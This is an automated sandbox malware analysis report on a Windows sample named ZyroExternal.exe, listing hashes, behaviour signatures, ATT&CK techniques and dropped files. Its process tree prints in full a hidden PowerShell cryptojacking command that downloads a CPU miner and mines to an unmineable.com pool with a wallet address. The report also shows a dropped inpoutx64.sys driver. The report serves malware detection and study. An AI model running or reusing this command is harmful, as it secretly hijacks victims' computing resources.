eb412825dfc1a0b00e58b2d29a68c0bfeafbfc135df976f05c47d4df6fd9be3c

Resubmissions

30/09/2026, 02:59

260930-dgt5taxvfw

30/09/2026, 02:54

260930-deandsxt8j8

Analysis

user interaction
yes
max time kernel
149s
max time network
134s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 02:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ZyroExternal.exe
Size 1.1MB
Sample260930-deandsxt8j
SHA256 eb412825dfc1a0b00e58b2d29a68c0bfeafbfc135df976f05c47d4df6fd9be3c
MD5 7c057277037147046a5c0405c3a3dfc9
SHA1 368308612d7e18abb223398a9edb9d1f7e3469b5
SHA512 abcbf2453efba210d8c9e0b2a9ea2ef4c8120b95a86b2fc673724a566becd167212d2b003cf444682116c5b38d4c2d905a996ad5d46fd870a91a325223f695d2
SSDEEP 24576:NYmSpPjTgslN310W48BKd95bVnUPEVSixgng+r:mL1Dj4nxVUALxgn
TLSH
T153459D45B2F400F8E47B9578DAB5611BEA72785017309ADF13D00A592F737E09BBBB22
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2600	powershell.exe
2600	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4848	inpoutx64.sys

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2600	powershell.exe
2600	powershell.exe
2600	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2600	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 3944 wrote to memory of 2600	3944	ZyroExternal.exe	97

C:\Users\Admin\AppData\Local\Temp\ZyroExternal.exe
"C:\Users\Admin\AppData\Local\Temp\ZyroExternal.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$w='H3SfFxBvQqb3abBCYT3hakP14dNrAZkGAcQZAPYKDAtf';$p="$env:USERPROFILE\xmrig";md $p -ea 0;if(!(Test-Path "$p\cpuminer-avx2.exe")){[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v3.20.0/cpuminer-opt-3.20.0-windows.zip' -OutFile "$p\x.zip" -UseBasicParsing -TimeoutSec 600;if(Test-Path "$p\x.zip"){Expand-Archive "$p\x.zip" "$p" -Force;Remove-Item "$p\x.zip"}};$c=(Get-CimInstance Win32_Processor);$name=$c.Name;$cores=$c.NumberOfLogicalProcessors;$t=[Math]::Ceiling($cores*0.4);Stop-Process -Name cpuminer* -Force -ErrorAction SilentlyContinue;$e=$null;if($name -match "Ryzen|Threadripper|EPYC"){$e="$p\cpuminer-avx2-sha-vaes.exe"}elseif($name -match "Intel.*Core.*[7-9]|Xeon|i[5-9]"){$e="$p\cpuminer-avx2-sha-vaes.exe"}elseif($name -match "AVX2|AVX-512"){$e="$p\cpuminer-avx2-sha-vaes.exe"}elseif($name -match "AVX"){$e="$p\cpuminer-avx.exe"}else{$e="$p\cpuminer-sse2.exe"};if(-not (Test-Path $e)){if(Test-Path "$p\cpuminer-avx2.exe"){$e="$p\cpuminer-avx2.exe"}elseif(Test-Path "$p\cpuminer-avx.exe"){$e="$p\cpuminer-avx.exe"}else{$e="$p\cpuminer-sse2.exe"}};Start-Process $e "-a","rx/0","-o","stratum+tcp://rx.unmineable.com:3333","-u","SOL:$w","--threads",$t -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2600

C:\Users\Admin\AppData\Local\Temp\inpoutx64.sys
C:\Users\Admin\AppData\Local\Temp\inpoutx64.sys
1⤵
- Executes dropped EXE
PID:4848

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_yrv4a5pn.vht.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yrv4a5pn.vht.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

inpoutx64.sys

Path C:\Users\Admin\AppData\Local\Temp\inpoutx64.sys
Size 14KB
SHA256 f8965fdce668692c3785afa3559159f9a18287bc0d53abb21902895a8ecf221b
MD5 9321a61a25c7961d9f36852ecaa86f55
SHA1 6afc6b04cf73dd461e4a4956365f25c1f1162387
SHA512 16443809a625bc9ce70cb1b993e14a621fd10355075390d2f924dbe2e46dae82751d8fbca9d916420c062a4ac4c7f10b517b9affbff8323582f601c824ea4d08
SSDEEP 192:31Hhhh0mwRJnyowJL/aMjGwP7HM3UM+ebMPkuZgjlBME:lH90mwRJnYJLWZLbkku6j
TLSH
T15762F8D307622155EC968F31D1EAD7B3AD72F5846FD691CB103088AA1E46BF02F7C61A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2600-1-0x00000275C3F70000-0x00000275C3F80000-memory.dmp

Download

memory/2600-2-0x00000275C3F70000-0x00000275C3F80000-memory.dmp

Download

memory/2600-3-0x00000275C3F40000-0x00000275C3F62000-memory.dmp

Download

memory/2600-11-0x00000275C3F70000-0x00000275C3F80000-memory.dmp

Download

memory/4848-15-0x0000000000010000-0x0000000000017000-memory.dmp

Download